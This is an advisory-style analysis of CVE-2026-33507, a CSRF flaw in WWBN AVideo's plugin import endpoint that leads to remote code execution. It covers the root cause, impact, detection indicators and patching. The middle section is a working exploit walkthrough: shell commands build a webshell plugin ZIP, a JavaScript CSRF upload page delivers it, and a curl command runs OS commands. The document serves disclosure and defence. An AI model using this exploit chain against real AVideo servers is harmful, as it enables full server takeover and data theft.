CVE-2026-33507: 
PHP vulnerability analysis and mitigation

CVE-2026-33507 is a Cross-Site Request Forgery (CSRF) vulnerability in WWBN AVideo that enables unauthenticated remote code execution by exploiting an authenticated administrator's session. The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an attacker can craft a malicious page that silently uploads a PHP webshell when visited by a logged-in admin. All versions up to and including 26.0 are affected. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, Feedly).

The vulnerability (CWE-352) stems from two compounding weaknesses: the objects/pluginImport.json.php endpoint performs only a session-based User::isAdmin() check with no CSRF token validation, no allowOrigin() call, and no Referer/Origin header validation; and objects/include_config.php explicitly sets session.cookie_samesite = 'None' for HTTPS connections, allowing browsers to include session cookies on cross-origin requests (GitHub Advisory). Because multipart/form-data is a CORS-safelisted Content-Type, a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight, bypassing CORS protections entirely. The ZIP validation logic checks for path traversal and dangerous extensions (.phtml, .phar, .sh) but intentionally permits .php files for the plugin system — only the main plugin file is inspected for PluginAbstract inheritance, leaving any additional .php files (e.g., a webshell) extracted without content inspection (GitHub Advisory).

Successful exploitation grants an unauthenticated attacker arbitrary OS command execution on the AVideo server as the www-data web server user, constituting full server compromise. The installed PHP webshell enables data exfiltration, database access, lateral movement to internal network resources, and further privilege escalation. The attack is entirely invisible to the victim administrator, as the no-cors fetch mode produces no visible error or redirect, making detection and incident response more difficult (GitHub Advisory, Feedly).

1. Reconnaissance: Identify internet-facing AVideo instances running version ≤ 26.0 using search engines (Shodan, Censys) or by checking the AVideo version disclosure in page source or HTTP headers.
2. Create malicious plugin ZIP: Craft a ZIP archive containing a valid main plugin file (EvilPlugin/EvilPlugin.php) that extends PluginAbstract to pass validation, plus a secondary PHP webshell (EvilPlugin/cmd.php) such as <?php system($_GET['c']); ?>.

mkdir -p EvilPlugin
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract { public function getName() { return 'EvilPlugin'; } }
PLUG
echo '<?php system($_GET["c"]); ?>' > EvilPlugin/cmd.php
zip -r evil-plugin.zip EvilPlugin/

3. Host CSRF exploit page: Serve an HTML page from an attacker-controlled server that fetches the malicious ZIP and submits it to the target's plugin import endpoint using fetch() with mode: 'no-cors' and credentials: 'include':

<script>
async function exploit() {
  const zipResp = await fetch('evil-plugin.zip');
  const zipBlob = await zipResp.blob();
  const formData = new FormData();
  formData.append('input-b1', zipBlob, 'evil-plugin.zip');
  fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
    method: 'POST', body: formData, mode: 'no-cors', credentials: 'include'
  });
}
exploit();
</script>

4. Trick admin into visiting the page: Send the attacker's page URL to an AVideo administrator via phishing email, social engineering, or by embedding it in content the admin is likely to view while logged in over HTTPS.
5. Access the webshell: Once the admin visits the page, the plugin is silently installed. The attacker then executes arbitrary OS commands:

curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

(GitHub Advisory)

• Network: Unexpected cross-origin multipart/form-data POST requests to /objects/pluginImport.json.php from unusual referrer origins or with no referrer; outbound connections from the web server process to unknown external IPs.
• File System: Presence of unexpected PHP files in the plugin/ directory, particularly new subdirectories not corresponding to legitimate installed plugins (e.g., plugin/EvilPlugin/cmd.php); newly created ZIP files in temporary upload directories.
• Logs: Web server access logs showing POST requests to /objects/pluginImport.json.php with Origin or Referer headers pointing to external/unknown domains; subsequent GET requests to newly created files under /plugin/ with query parameters like ?c= or ?cmd=.
• Process: Unusual child processes spawned by the web server process (e.g., www-data spawning /bin/bash, curl, wget, python, or nc); unexpected outbound network connections initiated by the PHP/Apache process. (GitHub Advisory)

Apply the patch from commit d1bc1695edd9ad4468a48cea0df6cd943a2635f3 in the AVideo repository, which adds CSRF token validation to objects/pluginImport.json.php (GitHub Advisory). As an immediate workaround, add CSRF token validation after the isAdmin() check in pluginImport.json.php using the existing verifyToken()/globalToken mechanism, and update the upload form in view/managerPluginUpload.php to include the token. Additionally, change session.cookie_samesite from None to Lax in objects/include_config.php to broadly prevent cross-site POST requests from including session cookies, and restrict admin panel access to trusted IP ranges at the network level. Educate administrators to avoid clicking untrusted links while authenticated to AVideo.

The vulnerability was covered by The Hacker Wire shortly after disclosure, and was noted on Mastodon and Bluesky by security community accounts (The Hacker Wire). INCIBE-CERT (Spain's national cybersecurity incident response center) published an early warning advisory for the vulnerability. The security community highlighted the compounding nature of the SameSite=None misconfiguration and the missing CSRF token as a particularly dangerous combination enabling zero-privilege RCE.